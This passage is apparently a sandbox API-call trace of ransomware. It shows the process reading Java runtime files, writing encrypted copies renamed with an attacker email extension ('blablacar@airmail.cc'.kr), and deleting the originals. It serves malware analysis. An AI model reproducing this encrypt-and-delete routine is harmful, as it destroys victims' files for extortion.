(lpString1=".jpg", lpString2="late") returned -1 [0182.596] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0182.596] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0182.596] lstrlenW (lpString=".doc") returned 4 [0182.596] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0182.596] lstrlenW (lpString=".docx") returned 5 [0182.596] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0182.596] lstrlenW (lpString=".pdf") returned 4 [0182.596] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0182.596] lstrlenW (lpString=".xls") returned 4 [0182.596] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0182.596] lstrlenW (lpString=".xlsx") returned 5 [0182.596] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0182.596] lstrlenW (lpString=".ppt") returned 4 [0182.596] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0182.596] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0182.596] lstrlenW (lpString=".zip") returned 4 [0182.596] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0182.596] lstrlenW (lpString=".rar") returned 4 [0182.596] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0182.596] lstrlenW (lpString=".bz2") returned 4 [0182.596] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0182.596] lstrlenW (lpString=".7z") returned 3 [0182.596] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0182.597] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0182.597] lstrlenW (lpString=".dbf") returned 4 [0182.597] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0182.597] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0182.597] lstrlenW (lpString=".1cd") returned 4 [0182.597] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0182.597] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0182.597] lstrlenW (lpString=".jpg") returned 4 [0182.597] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0182.597] lstrcmpiW (lpString1=".jar", lpString2=".kr") returned -1 [0182.597] lstrlenW (lpString="management-agent.jar") returned 20 [0182.597] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0182.600] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=381) returned 1 [0182.601] CloseHandle (hObject=0x454) returned 1 [0182.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 0x20 [0182.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0182.601] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0182.601] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.601] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.601] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0182.602] GetLastError () returned 0x0 [0182.602] ReadFile (in: hFile=0x454, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x17d, lpOverlapped=0x0) returned 1 [0182.603] WriteFile (in: hFile=0x4c4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x180, lpOverlapped=0x0) returned 1 [0182.603] ReadFile (in: hFile=0x454, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0182.604] WriteFile (in: hFile=0x4c4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xfc, lpOverlapped=0x0) returned 1 [0182.606] SetEndOfFile (hFile=0x4c4) returned 1 [0182.606] CloseHandle (hObject=0x4c4) returned 1 [0182.607] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.607] SetEndOfFile (hFile=0x454) returned 1 [0182.736] CloseHandle (hObject=0x454) returned 1 [0182.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0182.881] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 1 [0183.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0183.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0183.115] lstrlenW (lpString=".doc") returned 4 [0183.115] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0183.115] lstrlenW (lpString=".docx") returned 5 [0183.115] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0183.115] lstrlenW (lpString=".pdf") returned 4 [0183.115] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0183.116] lstrlenW (lpString=".xls") returned 4 [0183.116] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0183.116] lstrlenW (lpString=".xlsx") returned 5 [0183.116] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0183.116] lstrlenW (lpString=".ppt") returned 4 [0183.116] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0183.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0183.116] lstrlenW (lpString=".zip") returned 4 [0183.116] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0183.116] lstrlenW (lpString=".rar") returned 4 [0183.116] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0183.116] lstrlenW (lpString=".bz2") returned 4 [0183.116] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0183.116] lstrlenW (lpString=".7z") returned 3 [0183.116] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0183.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0183.116] lstrlenW (lpString=".dbf") returned 4 [0183.116] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0183.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0183.116] lstrlenW (lpString=".1cd") returned 4 [0183.116] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0183.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0183.116] lstrlenW (lpString=".jpg") returned 4 [0183.116] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0183.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0183.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0183.116] lstrlenW (lpString=".doc") returned 4 [0183.116] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0183.116] lstrlenW (lpString=".docx") returned 5 [0183.116] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0183.116] lstrlenW (lpString=".pdf") returned 4 [0183.117] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0183.117] lstrlenW (lpString=".xls") returned 4 [0183.117] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0183.117] lstrlenW (lpString=".xlsx") returned 5 [0183.117] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0183.117] lstrlenW (lpString=".ppt") returned 4 [0183.117] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0183.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0183.117] lstrlenW (lpString=".zip") returned 4 [0183.117] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0183.117] lstrlenW (lpString=".rar") returned 4 [0183.117] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0183.117] lstrlenW (lpString=".bz2") returned 4 [0183.117] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0183.117] lstrlenW (lpString=".7z") returned 3 [0183.117] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0183.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0183.117] lstrlenW (lpString=".dbf") returned 4 [0183.117] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0183.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0183.117] lstrlenW (lpString=".1cd") returned 4 [0183.117] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0183.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0183.117] lstrlenW (lpString=".jpg") returned 4 [0183.117] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0183.117] lstrcmpiW (lpString1=".security", lpString2=".kr") returned 1 [0183.117] lstrlenW (lpString="java.security") returned 13 [0183.118] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0183.209] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=36524) returned 1 [0183.209] CloseHandle (hObject=0x4c0) returned 1 [0183.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 0x20 [0183.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.467] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0183.517] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0183.517] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0183.517] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0183.702] GetLastError () returned 0x0 [0183.702] ReadFile (in: hFile=0x4d4, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x8eac, lpOverlapped=0x0) returned 1 [0183.704] WriteFile (in: hFile=0x51c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x8eb0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x8eb0, lpOverlapped=0x0) returned 1 [0183.705] ReadFile (in: hFile=0x4d4, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0183.706] WriteFile (in: hFile=0x51c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xee, lpOverlapped=0x0) returned 1 [0183.706] SetEndOfFile (hFile=0x51c) returned 1 [0183.706] CloseHandle (hObject=0x51c) returned 1 [0183.706] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0183.706] SetEndOfFile (hFile=0x4d4) returned 1 [0183.710] CloseHandle (hObject=0x4d4) returned 1 [0183.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0183.710] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 1 [0183.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0183.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0183.711] lstrlenW (lpString=".doc") returned 4 [0183.711] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1 [0183.711] lstrlenW (lpString=".docx") returned 5 [0183.711] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1 [0183.711] lstrlenW (lpString=".pdf") returned 4 [0183.711] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1 [0183.711] lstrlenW (lpString=".xls") returned 4 [0183.711] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1 [0183.711] lstrlenW (lpString=".xlsx") returned 5 [0183.711] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1 [0183.711] lstrlenW (lpString=".ppt") returned 4 [0183.711] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1 [0183.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0183.711] lstrlenW (lpString=".zip") returned 4 [0183.711] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1 [0183.711] lstrlenW (lpString=".rar") returned 4 [0183.711] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1 [0183.711] lstrlenW (lpString=".bz2") returned 4 [0183.711] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1 [0183.711] lstrlenW (lpString=".7z") returned 3 [0183.711] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1 [0183.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0183.711] lstrlenW (lpString=".dbf") returned 4 [0183.711] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1 [0183.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0183.711] lstrlenW (lpString=".1cd") returned 4 [0183.711] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1 [0183.712] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0183.712] lstrlenW (lpString=".jpg") returned 4 [0183.712] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1 [0183.712] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0183.712] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0183.712] lstrlenW (lpString=".doc") returned 4 [0183.712] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1 [0183.712] lstrlenW (lpString=".docx") returned 5 [0183.712] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1 [0183.712] lstrlenW (lpString=".pdf") returned 4 [0183.712] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1 [0183.712] lstrlenW (lpString=".xls") returned 4 [0183.712] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1 [0183.712] lstrlenW (lpString=".xlsx") returned 5 [0183.712] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1 [0183.712] lstrlenW (lpString=".ppt") returned 4 [0183.712] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1 [0183.712] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0183.712] lstrlenW (lpString=".zip") returned 4 [0183.712] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1 [0183.712] lstrlenW (lpString=".rar") returned 4 [0183.712] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1 [0183.712] lstrlenW (lpString=".bz2") returned 4 [0183.712] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1 [0183.712] lstrlenW (lpString=".7z") returned 3 [0183.712] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1 [0183.712] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0183.712] lstrlenW (lpString=".dbf") returned 4 [0183.712] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1 [0183.712] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0183.712] lstrlenW (lpString=".1cd") returned 4 [0183.712] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1 [0183.713] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0183.713] lstrlenW (lpString=".jpg") returned 4 [0183.713] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1 [0183.713] lstrcmpiW (lpString1=".libraries", lpString2=".kr") returned 1 [0183.713] lstrlenW (lpString="trusted.libraries") returned 17 [0183.713] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\trusted.libraries"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0183.714] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=0) returned 1 [0183.714] CloseHandle (hObject=0x4d4) returned 1 [0183.714] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0183.714] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0183.714] lstrlenW (lpString=".doc") returned 4 [0183.714] lstrcmpiW (lpString1=".doc", lpString2="ries") returned -1 [0183.714] lstrlenW (lpString=".docx") returned 5 [0183.714] lstrcmpiW (lpString1=".docx", lpString2="aries") returned -1 [0183.714] lstrlenW (lpString=".pdf") returned 4 [0183.714] lstrcmpiW (lpString1=".pdf", lpString2="ries") returned -1 [0183.714] lstrlenW (lpString=".xls") returned 4 [0183.714] lstrcmpiW (lpString1=".xls", lpString2="ries") returned -1 [0183.714] lstrlenW (lpString=".xlsx") returned 5 [0183.714] lstrcmpiW (lpString1=".xlsx", lpString2="aries") returned -1 [0183.714] lstrlenW (lpString=".ppt") returned 4 [0183.714] lstrcmpiW (lpString1=".ppt", lpString2="ries") returned -1 [0183.714] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0183.714] lstrlenW (lpString=".zip") returned 4 [0183.714] lstrcmpiW (lpString1=".zip", lpString2="ries") returned -1 [0183.714] lstrlenW (lpString=".rar") returned 4 [0183.714] lstrcmpiW (lpString1=".rar", lpString2="ries") returned -1 [0183.714] lstrlenW (lpString=".bz2") returned 4 [0183.714] lstrcmpiW (lpString1=".bz2", lpString2="ries") returned -1 [0183.714] lstrlenW (lpString=".7z") returned 3 [0183.714] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0183.714] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0183.714] lstrlenW (lpString=".dbf") returned 4 [0183.715] lstrcmpiW (lpString1=".dbf", lpString2="ries") returned -1 [0183.715] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0183.715] lstrlenW (lpString=".1cd") returned 4 [0183.715] lstrcmpiW (lpString1=".1cd", lpString2="ries") returned -1 [0183.715] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0183.715] lstrlenW (lpString=".jpg") returned 4 [0183.715] lstrcmpiW (lpString1=".jpg", lpString2="ries") returned -1 [0183.715] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0183.715] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0183.715] lstrlenW (lpString=".doc") returned 4 [0183.715] lstrcmpiW (lpString1=".doc", lpString2="ries") returned -1 [0183.715] lstrlenW (lpString=".docx") returned 5 [0183.715] lstrcmpiW (lpString1=".docx", lpString2="aries") returned -1 [0183.715] lstrlenW (lpString=".pdf") returned 4 [0183.715] lstrcmpiW (lpString1=".pdf", lpString2="ries") returned -1 [0183.715] lstrlenW (lpString=".xls") returned 4 [0183.715] lstrcmpiW (lpString1=".xls", lpString2="ries") returned -1 [0183.715] lstrlenW (lpString=".xlsx") returned 5 [0183.715] lstrcmpiW (lpString1=".xlsx", lpString2="aries") returned -1 [0183.715] lstrlenW (lpString=".ppt") returned 4 [0183.715] lstrcmpiW (lpString1=".ppt", lpString2="ries") returned -1 [0183.715] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0183.715] lstrlenW (lpString=".zip") returned 4 [0183.715] lstrcmpiW (lpString1=".zip", lpString2="ries") returned -1 [0183.715] lstrlenW (lpString=".rar") returned 4 [0183.716] lstrcmpiW (lpString1=".rar", lpString2="ries") returned -1 [0183.716] lstrlenW (lpString=".bz2") returned 4 [0183.716] lstrcmpiW (lpString1=".bz2", lpString2="ries") returned -1 [0183.716] lstrlenW (lpString=".7z") returned 3 [0183.716] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0183.716] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0183.716] lstrlenW (lpString=".dbf") returned 4 [0183.716] lstrcmpiW (lpString1=".dbf", lpString2="ries") returned -1 [0183.716] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0183.716] lstrlenW (lpString=".1cd") returned 4 [0183.716] lstrcmpiW (lpString1=".1cd", lpString2="ries") returned -1 [0183.716] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0183.716] lstrlenW (lpString=".jpg") returned 4 [0183.716] lstrcmpiW (lpString1=".jpg", lpString2="ries") returned -1 [0183.716] lstrcmpiW (lpString1=".jar", lpString2=".kr") returned -1 [0183.716] lstrlenW (lpString="US_export_policy.jar") returned 20 [0183.716] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0183.717] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=3026) returned 1 [0183.717] CloseHandle (hObject=0x4d4) returned 1 [0183.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 0x20 [0183.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.717] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0183.717] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0183.717] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0183.717] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0183.718] GetLastError () returned 0x0 [0183.718] ReadFile (in: hFile=0x4d4, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0xbd2, lpOverlapped=0x0) returned 1 [0183.719] WriteFile (in: hFile=0x51c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xbe0, lpOverlapped=0x0) returned 1 [0183.720] ReadFile (in: hFile=0x4d4, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, 